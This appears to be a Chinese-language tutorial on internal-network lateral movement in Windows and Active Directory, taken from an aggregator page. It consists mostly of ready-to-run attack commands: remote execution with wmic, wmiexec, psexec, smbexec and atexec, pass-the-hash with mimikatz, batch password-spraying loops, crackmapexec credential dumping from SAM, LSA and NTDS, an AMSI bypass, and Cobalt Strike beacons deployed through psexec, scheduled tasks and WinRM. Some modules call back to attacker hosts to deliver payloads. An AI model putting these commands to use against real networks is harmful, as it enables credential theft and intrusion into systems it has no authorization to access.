当前位置: 首页 > news >正文

内网渗透基础

内网

内网指的是内部局域网,常说的LAN(local area network)。常见家庭wifi网络和小型的企业网络,通常内部计算机直接访问路由器设备,路由器设备接入移动电信的光纤实现上网。

内部局域网可以通过交换机/防火墙组成多个网络(局域),多个局域之间进行访问控制。新概念(安全域)。

如专门存放服务器的统称为DMZ(非军事化区域),运维区,内网办公区等,常说的内网渗透就是在局域网内部渗透,内网渗透比较有难度的是域渗透

KB2871997&KB2928120

微软在2014年发布了KB2871997KB2928120两个补丁,用来阻止域内主机本地用户的网络登录,这样就无法以本地管理员的权限执行wmi、psexec、schtasks、at和文件访问共享,本地用户的PTH方式已经死掉,然而默认的Administrator(SID 500)这个账户仍可以进行PTH,并且在禁用NTLM的情况下,psexec无法进行远程连接,但是使用mimikatz可以攻击成功。

UNC路径

UNC路径代表通用命名约定路径(Universal Naming Convention),它是一种网络路径格式,用于标识在网络上共享的资源位置。UNC路径允许您在本地网络中访问远程共享。

UNC路径由两个反斜杠\,后跟远程计算机的名称或IP地址、可选的共享名称、可选的路径和文件名组成。例如:

\\ComputerName\ShareName\Path\FileName

其中ComputerName是远程计算机的名称或IP地址,ShareName是共享名称,在访问共享时需要使用该名称,Path是共享文件夹中的路径,FileName是所需文件的名称。

WMI

WMI(Windows management instrumentation)可以描述为管理Windows系统的方法和功能,我们可以把它当作API来与Win系统进行相互交流,WMI在渗透测试中的价值在于它不需要下载和安装,WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。

135端口

RPC:远程过程调用服务,WMIC(winsows management instrumentation)用到这个端口。

wmic具体用法如下:

# 打开一个计算器``wmic /node:ip /user:用户名 /password:密码 PROCESS call create "calc.exe"` `   ``#无回显``wmic /node:192.168.1.56 /user:administrator /password:aab+1s PROCESS call create "calc.exe"``wmic /node:192.168.1.56 /user:administrator /password:aab+1s process call create "cmd.exe /c ipconfig >C:\1.txt"

连接报错如下信息:

ip错了报如下信息:

密码填错报如下信息:

用另一台计算机尝试连接,正常访问,命令执行成功,wmic执行后无回显,需写入到文本文件中。

WMIEXEC

获取交互式shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.56 administrator aab+1s

执行单条命令

cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.56 administrator aab+1s "cmdkey /list"

如上是提供了密码,如无密码,可以利用wce的hash注入,然后执行wmiexec就可以了。

wce –s 账号:主机名或域的名字:LM:NTLM``   ``cscript //nologo wmiexec.vbs /shell 192.168.0.1

如果抓取的LM hash是AAD3开头的,或者是No Password之类的,计用32个0代替LM hash

wmiexec.exe

wmiexec.exe ./administrator:aab+1s@192.168.1.56 "whoami"

hash传递

wmiexec.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/Administrator@192.168.10.173 "ipconfig"

https://github.com/rootclay/WMIHACKER/blob/master/README_zh.md

137,138,139端口

137、138为UDP端口,主要用于内网传输文件,NetBios/SMB服务的获取主要是通过139端口。

445端口

共享文件夹、共享打印机

ipc$

IPC$是共享“命名管道”的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问,从NT/2000开始使用。

IPC$在同一时间内,两个IP之间只允许建立一个连接。

NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或管理员目录(admin$)共享。

net use \\192.168.1.56\c$ "password" /user:"domain\username"``net use \\192.168.1.56\c$ "aab+1s" /user:administrator

另一台主机net use远程连接

扩展语法

net use \\192.168.1.56\c$``   ``# 删除ipc$连接``net use \\192.168.1.56\ipc$ /del``   ``# 将目标磁盘映射到本地``net use z: \\192.168.1.56\c$``   ``# 删除映射``net use z: /del``   ``# 关闭共享``net use ipc$ /del

ipc$空连接

横向渗透SMB(通过445端口)

利用SMB服务,需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。

psexec

net use \\192.168.1.56\c$ "aab+1s" /user:administrator``   ``PsExec.exe \\192.168.1.56 whoami``   ``.\PsExec.exe -u administrator -p 123456 \\dc01 cmd``   ``# 交互式shell(相同凭证可直接登录)``psexec -accepteula \\ip -s cmd.exe

执行原理

1.通过ipc$连接,释放psexecsvc.exe到目标 2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。 3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。 4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般不推荐使用psexec,推荐wmiexec

C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

cs - plugins

选中需横向的主机,jump-psexec64

选择一个认证,listen如果可出网,选择1,内网横向则用smb beacon2。

直接使用命令行。

jump [module] [target] [listener]``jump psexec64 192.168.10.173 local

通过psexec横向到目标机器,凭证用的是已知凭证去碰撞

此时整体拓扑如下,是父子关系,这是因为用的是http beacon直接连接teamserver,如果用smb beacon就是link关系。

换一下smb beacon

主机ip后面带有四个圆圈。

smb的箭头是黄色

https://www.cnblogs.com/sup3rman/p/12381874.html

SMBEXEC

明文传递

smbexec.exe administrator:aab+1s@192.168.10.173

hash传递

hash传递:``smbexec -hashes :$HASH$ admin@192.168.10.173``smbeexec -hashes :$HASH$ domain/admin@192.168.10.173

dump hash

atexec

  • 批量
`FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文 连接` `   ``FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文 回显版` `   ``FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP 回显版` `   ``FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测 HASH 对应 IP 回显版`  

PTH

域/工作组环境,内存中存在和当前机器相同的密码,在身份验证过程中,基本过程是从用户那里收集密码,然后对其进行加密,然后将正确密码的加密哈希用于将来的身份验证。

初次认证后,Windows 将哈希值保存在内存中,这样用户就不必一次又一次地输入密码。

在凭证转储期间,我们看到我们已经提取了大量的哈希值。现在作为攻击者,我们不知道密码。因此,在身份验证期间,我们提供哈希而不是密码。

Windows比较哈希值并热烈欢迎攻击者。简而言之,这就是 Pass-the-Hash 攻击。

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

mimikatz - PTH

privilege::debug` `sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

弹出窗口后,连接共享端口,传输文件

# privilege::debug``# sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

拷贝文件

参考:内网渗透–Hash传递攻击

PTK

需要存在补丁kb2871997

`使用minikatz获取aes256_hmac:``sekurlsa::ekeys``传递连接:sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b`  

PTT

`实现步骤:`  `1、生成票据 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c”`  `2、导入票据 kerberos::ptt [TGT_haha@HSYY.COM_krbtgt](mailto:TGT_haha@HSYY.COM_krbtgt)~hsyy.com@GOD.ORG.kirbi`  `3、查看凭证 klist`  `4、利用 net use 载入 dir \192.168.213.163\c$`  

smbclient

认证登录

  • 明文
smbclient -L //192.168.10.173 -U Administrator
  • hash
smbclient.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/Administrator@192.168.10.173

空会话枚举

smbclient -N -U "" -L \\192.168.1.214

rpcclient

`# rpcclient -U "" -N 10.10.10.161` `rpcclient $>enumdomusers``   ``# rpcclient -U corp.pentest.lab/administrator 10.10.10.161` 

cme

https://mpgn.gitbook.io/crackmapexec/getting-started/installation/installation-on-windows

执行命令

crackmapexec smb 192.168.10.173 -u administrator -H 04cea78fa35a5be51f4aee6375651e8a -x ipconfig

powershell

#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'

bypass ASMI

#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'  --amsi-bypass /path/payload

cme网络扫描

crackmapexec smb 10.0.0.0/24

`crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --shares``crackmapexec smb 192.168.10.83 -u airs-win7 -p aab+1s --shares``crackmapexec smb 192.168.10.83 -u airs-win7 -H 04cea78fa35a5be51f4aee6375651e8a --shares` 

枚举空会话

cme smb 10.10.10.161 -u '' -p ''``cme smb 10.10.10.161 --pass-pol``cme smb 10.10.10.161 --users``cme smb 10.10.10.161 --groups``   ``cme smb 10.10.10.178 -u 'a' -p '' -shares``cme smb 10.10.10.178 -u -p -shares``   ``# 以递归方式遍历所有共享s``crackmapexec smb  -u  -p  -M spider_plus

凭证获取

crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --sam`  `crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --lsa``crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds``crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds vss

msf反弹shell

枚举远程目标上的活动会话

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions``   ``#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares

密码喷洒

使用空格指定多个用户名/密码

#~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18``#~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3

通过文本指定字典

#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18``#~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt

找到密码后继续爆破

#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success``   ``# 一对一爆破``#~ cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes

认证

User/Hash

获取凭证如下:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'``#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'``#~ cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'``#~ cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
  • 本地认证
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth``#~ cme smb 192.168.1.0/24 -u '' -p '' --local-auth``#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth``#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth``#~ cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth``#~ cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth

爆破结果后如下:

	SMB         192.168.1.101    445    HOSTNAME          [+] HOSTNAME\Username:Password (Pwn3d!)  

winRM

#~ cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
# use the latest release, CME is now a binary packaged will all its dependencies``root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip``   ``# execute cme (smb, winrm, mssql, ...)``root@payload$ cme smb -L``root@payload$ cme smb -M name_module -o VAR=DATA``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares``root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443``root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"``root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'``root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz``root@payload$ cme mimikatz --server http --server-port 80

at、schtasks、

  • at

windows版本<2012,高版本中使用schtasks命令

at [\computername] [[id] [/delete] | /delete [/yes]]``at [\computername] <time> [/interactive] [/every:date[,...] | /next:date[,...]] <command>

生成smb beacon

上传smb beacon文件

添加任务计划

shell at \\192.168.10.173 10:51 c:\local-smb.exe

已运行,无法反弹,smb shell的问题。

换成web beacon,成功反弹。

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/at

  • schtasks

windows>=2012

schtasks create

创建任务对应执行文件

schtasks /create /sc <scheduletype> /tn <taskname> /tr <taskrun> [/s <computer> [/u [<domain>\]<user> [/p <password>]]] [/ru {[<domain>\]<user> | system}] [/rp <password>] [/mo <modifier>] [/d <day>[,<day>...] | *] [/m <month>[,<month>...]] [/i <idletime>] [/st <starttime>] [/ri <interval>] [{/et <endtime> | /du <duration>} [/k]] [/sd <startdate>] [/ed <enddate>] [/it] [/z] [/f]
schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F

schtasks run

执行文件任务

schtasks /run /s 192.168.213.163 /tn adduser /i

schtasks delete

删除执行文件任务

schtasks /delect /s 192.168.213.163 /tn adduser /f

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create


sharpwmi

.\sharpwmi.exe login 192.168.10.1/24 administrator aab+1s cmd whoami

cs报错

[-] Invoke_3 on EntryPoint failed.

nbtscan

通过IP扫描网络获取bios名称(计算机名)

bash$ sudo nbtscan -v -s : 192.168.1.0/24
  • cs plugin

winRM

WinRM(windows远程管理)是WS管理协议的Microsoft实现,一种基于标准的SOAP协议,允许来自不同供应商的硬件和操作系统相互操作,能够对本地或远程的服务器进行管理,获得一个类似Telnet的交互式命令行shell,以便降低系统管理员复杂的操作。

端口: HTTP(5985) HTTPS SOAP(5986)

前提:凭证及权限

CS中有WinRM模块。

winrm:x86,通过WinRM来运行一个PowerShell脚本 winrm:x64,通过WinRM来运行一个PowerShell脚本

进入winrm64后,内容如下:

前提需要有认证,才可以横向进入,此处的认证获取可以通过内部撞库、历史RDP凭证等方式获取,内部撞库是拿已知的密码去尝试是否有复用密码,历史RDP凭证是如果管理员再内网通过3389登录后且记录了密码,可以通过获取历史RDP登录记录获取凭证。

如上图所示,已经拥有192.168.1.214的密码凭证,但不清楚192.168.1.55的凭证,此时可以尝试使用192.168.1.214的凭证。

监听器和会话按需选择,会话是当前的beacon。

尝试运行,报错了。

jump winrm64 192.168.1.55 test

查看服务器端口情况,未开启5985端口。

可通过winrm命令开启5985端口,windows server 2008默认winrm服务是启动的,但端口未开放,需要通过winrm quickconfig -q 或者 winrm qc开启端口。

  • 开启winRM服务

重新查看端口开放情况,5985端口已打开。

  • 开启防火墙或关闭防火墙命令
C:\Windows\system32>netsh advfirewall firewall set rule group="Windows 远程管理" new enable=yes
  • 使用powershell连接服务器

需提前开启信任主机

PS C:\Users\Administrator> Set-Item wsman:\localhost\Client\TrustedHosts -value 192.168.1.* -Force``# 这个命令需要再客户端执行,而不是再服务端执行``   ``或者用下面的命令``winrm set winrm/config/client @{TrustedHosts="*"}``   ``PS C:\Users\Administrator> Enter-PSSession 192.168.1.55 -Credential administrator

输入凭证,连接成功。

或者

New-PSSession -ComputerName 192.168.1.55 -Credential (Get-Credential)``Enter-PSSession 1

通过CS操作

beacon> jump winrm64 192.168.1.55 test

成功返回shell

修复建议:

禁用WinRM

winrm delete winrm/config/listener?IPAdress=*+Transport=HTTP
  • ⚠️ windows8、windows10、windows server 2012及以上系统,WinRM服务默认开启。
evil-winrm

GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting

WinRS

WinRS(Windows Remote Shell)是一种远程管理工具,用于在Windows远程服务器上运行命令行命令。WinRS使用WinRM(Windows Remote Management)协议向远程计算机发送命令行请求。 WinRS在Windows Server 2008及更高版本的操作系统中预安装,并且可以在Windows 7及更高版本的操作系统中启用。要使用WinRS,您必须在远程服务器上启用WinRM,并且在本地计算机上运行命令时必须使用管理员权限。

winrs -r:192.168.1.55 "cmd /c ipconfig"

# 端口复用下``winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s whoami``winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s cmd

DCOM

DCOM代表分布式组件对象模型(Distributed Component Object Model),它是一种Microsoft的分布式系统服务。它允许计算机上的应用程序通过网络连接和通信。DCOM使开发人员能够从远程计算机上执行代码,并使应用程序之间的通信更为容易和灵活。

PS C:\Users\Administrator> Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

PS C:\Users\Administrator> $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.1.55"))``   ``PS C:\Users\Administrator> $a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")``   ``PS C:\Users\Administrator> Get-Content \\192.168.1.55\c$\fromdcom.txt``WIN-BVVD8VFVMPR

SCShell

GitHub - Mr-Un1k0d3r/SCShell: Fileless lateral movement tool that relies on ChangeServiceConfigA to run command

No445

GitHub - JDArmy/NO445-lateral-movement: command execute without 445 port

数据库命令执行

GitHub - 0x727/SqlKnife_0x727: 适合在命令行中使用的轻巧的SQL Server数据库安全检测工具

参考

https://www.redteam101.tech/offensive-security/lateral-movement/shi-yong-scshell-jin-hang-heng-xiang-yi-dong

https://github.com/BlWasp/CME_cheatSheet

https://mpgn.gitbook.io/crackmapexec/

https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/

https://www.hackingarticles.in/lateral-movement-over-pass-the-hash/

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/

https://www.cnblogs.com/gamewyd/p/6805595.html

https://www.cnblogs.com/zhengna/p/15309006.html

http://k8gege.org/Ladon/WinrmScan.html

https://cloud.tencent.com/developer/article/1937116

在这里插入图片描述

相关文章:

内网渗透基础

内网 内网指的是内部局域网&#xff0c;常说的LAN&#xff08;local area network&#xff09;。常见家庭wifi网络和小型的企业网络&#xff0c;通常内部计算机直接访问路由器设备&#xff0c;路由器设备接入移动电信的光纤实现上网。 内部局域网可以通过交换机/防火墙组成多个…...

【2023年网络安全优秀创新成果大赛专刊】银行数据安全解决方案(天空卫士)

在2023年网络安全优秀创新成果大赛&#xff0c;成都分站中&#xff0c;天空卫士银行数据安全方案获得优秀解决方案奖。与此同时&#xff0c;天空卫士受信息安全杂志邀请&#xff0c;编写《银行数据安全解决方案》。12月6日&#xff0c;天空卫士编写的《银行数据安全解决方案》做…...

嵌入式串口输入详细实例

学习目标 掌握串口初始化流程掌握串口输出单个字符掌握串口输出字符串掌握通过串口printf熟练掌握串口开发流程学习内容 需求 串口循环输出内容到PC机。 串口数据发送 添加Usart功能。 首先,选中Firmware,鼠标右键,点击Manage Project Items 接着,将gd32f4xx_usart.c添…...

springboot(ssm智慧生活商城系统 网上购物系统Java系统

springboot(ssm智慧生活商城系统 网上购物系统Java系统 开发语言&#xff1a;Java 框架&#xff1a;ssm/springboot vue JDK版本&#xff1a;JDK1.8&#xff08;或11&#xff09; 服务器&#xff1a;tomcat 数据库&#xff1a;mysql 5.7&#xff08;或8.0&#xff09; 数…...

Peter算法小课堂—贪心与二分

太戈编程655题 题目描述&#xff1a; 有n辆车大甩卖&#xff0c;第i辆车售价a[i]元。有m个人带着现金来申请购买&#xff0c;第i个到现场的人带的现金为b[i]元&#xff0c;只能买价格不超过其现金额的车子。你是大卖场总经理&#xff0c;希望将车和买家尽量多地进行一对一配对…...

搭建Vue前端项目的流程

1、安装nodejs 测试安装是否成功 $ npm -v 6.14.16 $ node -v v12.22.122、全局安装npm install -g vue/cli&#xff0c;后续会使用到vue命令 $ vue --version vue/cli 5.0.8使用vue create demo_project_fe命令创建项目&#xff0c;使用箭头键来选择&#xff0c;确认使用回车…...

1.使用 Blazor 利用 ASP.NET Core 生成第一个 Web 应用

参考 https://dotnet.microsoft.com/zh-cn/learn/aspnet/blazor-tutorial/create 1.使用vs2022创建新项目 选择 C# -> Windows -> Blzxor Server 应用模板 2.项目名称BlazorApp下一步 3.选择 .NET6.0 或 .NET7.0 或 .NET8.0 创建 4.运行BlazorApp 5.全部选择是。 信…...

如何入门 GPT 并快速跟上当前的大语言模型 LLM 进展?

入门GPT 首先说第一个问题&#xff1a;如何入门GPT模型&#xff1f; 最直接的方式当然是去阅读官方的论文。GPT模型从2018年的GPT-1到现在的GPT-4已经迭代了好几个版本&#xff0c;通过官方团队发表的论文是最能准确理清其发展脉络的途径&#xff0c;其中包括GPT模型本身和一…...

【pentaho】kettle读取Hive表不支持bigint和timstamp类型解决。

一、bigint类型 报错: Unable to get value BigNumber(16) from database resultset显示kettle认为此应该是decimal类型(kettle中是TYPE_BIGNUMBER或称BigNumber)&#xff0c;但实际hive数据库中是big类型。 修改kettle源码解决&#xff1a; kettle中java.sql.Types到kettle…...

centos 8 部署nextCloud

参考链接&#xff1a; Example installation on CentOS 8 — Nextcloud latest Administration Manual latest documentation 第一次 在RHEL 9.2部署&#xff0c;部署完成后&#xff0c;上传任意文件提示&#xff1a; 与服务器断开链接 发生未知错误 第二次 计划在centos…...

vue3 element-plus 输入框 clearable属性 聚焦时宽度会变化

解决办法 因为你的代码中el-input是没有宽度的&#xff0c; 所以实际渲染出来的 el-input宽度 原生input宽度 前缀图标宽度 后缀图标宽度。 可以写css固定el-input宽度来处理。 :deep.el-input.el-input--default.el-input--suffix {// 固定宽度width: 200px !important; …...

【科技前沿】数字孪生技术改革智慧供热,换热站3D可视化引领未来

换热站作为供热系统不可或缺的一部分&#xff0c;其能源消耗对城市环保至关重要。在双碳目标下&#xff0c;供热企业可通过搭建智慧供热系统&#xff0c;实现供热方式的低碳、高效、智能化&#xff0c;从而减少碳排放和能源浪费。通过应用物联网、大数据等高新技术&#xff0c;…...

Vue.js 教程

Vue.js&#xff08;读音 /vjuː/, 类似于 view&#xff09; 是一套构建用户界面的渐进式框架。 Vue 只关注视图层&#xff0c; 采用自底向上增量开发的设计。 Vue 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件。 阅读本教程前&#xff0c;您需要了解的…...

听GPT 讲Rust源代码--src/tools(21)

File: rust/src/tools/miri/src/shims/x86/mod.rs 在Rust的源代码中&#xff0c;rust/src/tools/miri/src/shims/x86/mod.rs文件的作用是为对x86平台的处理提供支持。它包含一些用于模拟硬件操作的shim函数和相关的类型定义。 具体来说&#xff0c;该文件中的函数是通过使用一组…...

OpenCV | 告别人工目检:深度学习技术引领工业品缺陷检测新时代

文章目录 机器视觉缺陷检测工业上常见缺陷检测方法内容简介作者简介目录读者对象如何阅读本书获取方式 机器视觉 机器视觉是使用各种工业相机&#xff0c;结合传感器跟电气信号实现替代传统人工&#xff0c;完成对象识别、计数、测量、缺陷检测、引导定位与抓取等任务。其中工…...

Inkscape SVG 编辑器 导入 Gazebo

概述 本教程描述了拉伸 SVG 文件的过程&#xff0c;这些文件是 2D 的 图像&#xff0c;用于在 Gazebo 中为您的模型创建 3D 网格。有时是 更容易在 Inkscape 或 Illustrator 等程序中设计模型的一部分。 在开始之前&#xff0c;请确保您熟悉模型编辑器。 本教程将向您展示如…...

基于比较的排序算法总结(java实现版)

目录 什么是基于比较的排序算法 什么是排序算法的稳定性 基础排序算法的稳定性 插入排序法 希尔排序法 冒泡排序法 总结 高级算法的稳定性 快速排序法 堆排序法 归并排序法 总结 注意 什么是基于比较的排序算法 基于比较的排序算法定义&#xff1a;之所以能给元素…...

集群与分布式的概念及区别

目前在工作中经常接触到集群的概念&#xff0c;通过这篇文章总结一下集群的几种方式以及和分布式对比学习 1.集群&#xff08;Cluster&#xff09; 集群是由多个计算机节点组成的网络&#xff0c;旨在共同提供服务&#xff0c;并确保高性能和高可用性。在高可用集群中&#xf…...

基于ssm+vue的在线听书网站论文

摘 要 传统信息的管理大部分依赖于管理人员的手工登记与管理&#xff0c;然而&#xff0c;随着近些年信息技术的迅猛发展&#xff0c;让许多比较老套的信息管理模式进行了更新迭代&#xff0c;书籍信息因为其管理内容繁杂&#xff0c;管理数量繁多导致手工进行处理不能满足广大…...

hive命令启动出现classnotfound

环境&#xff1a;ambari集群三个节点node104、node105和node106&#xff0c;其中node105上有hiveserver2&#xff0c;并且三个节点均有HIVE CLIENT 注意&#xff1a;“./”指hive安装目录 其中装有hiveserver2的node105节点&#xff0c;由于某种需要向lib目录下上传了某些jar包…...

拥抱数字化转型,共赢数字时代 | 创维汽车商学院走进竹云

数字化浪潮汹涌而来&#xff0c;变革与创新接踵而至。随着数字技术日益融入经济社会发展的各个领域&#xff0c;数字经济与实体经济的“双向奔赴”也不断催生着新产业、新业态、新模式&#xff0c;为经济社会发展持续注入创新活力。12月19日&#xff0c;创维汽车商学院带领嘉宾…...

蓝桥杯:日期问题

目录 引言一、日期问题1.题目描述2.代码实现3.测试 二、回文日期1.题目描述2.代码实现3.测试 引言 关于这个蓝桥杯的日期问题&#xff0c;其实有一个明确的思路就感觉很简单&#xff0c;这个思路就是不用依照日期的顺序去把每一天走完&#xff0c;而是根据一个数加一&#xff…...

vue 简单实现购物车:商品基础信息最终的 html 文件 + 商品计数器的组件处理,实现了购物车;

购物车实现过程&#xff1a; Ⅰ、商品购物车作业需求&#xff1a;1、商品购物车页面示例&#xff1a;2、具体需求&#xff1a; Ⅱ、html 文件的构建&#xff1a;商品购物车.html Ⅲ、组件文件的构建&#xff1a;商品购物车1.js Ⅳ、小结&#xff1a; Ⅰ、商品购物车作业需求&am…...

交叉熵损失(Cross Entropy Loss)学习笔记

在分类任务中&#xff0c;我们通常使用交叉熵作为损失函数&#xff0c;首先给出交叉熵的计算公式&#xff1a; 二分类中&#xff1a; L 1 N ∑ i L i 1 N ∑ i − [ y i l o g ( p i ) ( 1 − y i ) ⋅ l o g ( 1 − p i ) ] \mathcal{L}\frac1{N}\sum_{i}L_i\frac1{N}\sum…...

python flask alchemy在判断None值时与flake8格式检测冲突

python flask alchemy 在判断None值时候&#xff0c;推荐使用/!来判断。例如&#xff1a; query.filter(User.nameNone)query.filter(User.name!None) 但是这样的代码提交后时过不了flake8的语法检查&#xff0c;会报错&#xff1a; flake8...................................…...

Text Intelligence - TextIn.com AI时代下的智能文档识别、处理、转换

本指南将介绍Text Intelligence&#xff0c;AI时代下的智能文档技术平台 Textin.com 关注TechLead&#xff0c;分享AI全维度知识。作者拥有10年互联网服务架构、AI产品研发经验、团队管理经验&#xff0c;同济本复旦硕&#xff0c;复旦机器人智能实验室成员&#xff0c;阿里云认…...

55.0/CSS 的应用(详细版)

目录 55.1.1 设计边框样式 55.1.2 调整边框的粗细 55.1.3 边框颜色 55.1.4 复合设置边框 55.2 模块的边距 55.3 模块的内边距 55.4 层的应用 55.4.1 层的建立 55.4.2 浮动——float 55.4.3 清除浮动 55.4.4 层的定位 55.4.5 设置层的溢出——overflow 55.4.6 设置鼠…...

磁盘类型选择对阿里云RDS MySQL的性能影响

测试说明 这是一个云数据库性能测试系列&#xff0c;旨在通过简单标准的性能测试&#xff0c;帮助开发者、企业了解云数据库的性能&#xff0c;以选择适合的规格与类型。这个系列还包括&#xff1a; * 云数据库(RDS MySQL)性能深度测评与对比 * 阿里云RDS标准版(x86) vs 经济…...

数据结构---算法的时间复杂度

文章目录 前言计算机重要存储数据结构与算法数据结构概念算法 数据库概念 算法的复杂度时间复杂度概念为什么有时间复杂度大O渐进表示法时间复杂度实例实例1&#xff1a;时间复杂度&#xff1a;O&#xff08;N&#xff09;实例2&#xff1a;这里输入参数是不确定的所以 时间复杂…...

后缀为.vue是什么文件

.vue是一种文件格式&#xff0c;它是用于构建Web应用程序的前端框架Vue.js的组件文件 Vue.js是一个流行的JavaScript框架&#xff0c;用于构建用户界面 在Vue.js中&#xff0c;应用程序被组织为一组可重用的组件&#xff0c;而.vue文件就是用来定义这些组件的 一个.vue文件包…...

wordpress网站百度不收录/武汉seo推广优化公司

我们平时使用Linux的时候经常遇到这样一个问题&#xff0c;举例有这样一种情况&#xff1a;执行命令$ cp /etc/apt/sources.list /etc/apt/sources.list.bak这里面有个问题&#xff0c;明明 /etc/apt/sources 这几个字都是一样的&#xff0c;为什么要打两遍&#xff1f;这样的还…...

做外国订单有什么网站/百度识图网页版在线

集线器-------集线器也叫Hub&#xff0c;工作在物理层&#xff08;最底层&#xff09;&#xff0c;没有相匹配的软件系统&#xff0c;是纯硬件设备。集线器主要用来连接计算机等网络终端。集线器为共享式带宽&#xff0c;连接在集线器上的任何一个设备发送数据时&#xff0c;其…...

成都网站建设科技公司/央视新闻今天的内容

jpsjava -XX:PrintFlagsFinal -version | grep -iE HeapSize|PermSize|ThreadStackSizeexport JAVA_TOOL_OPTIONS-Xms1g -Xmx10g...

400元做网站送网推/怎么做推广赚钱

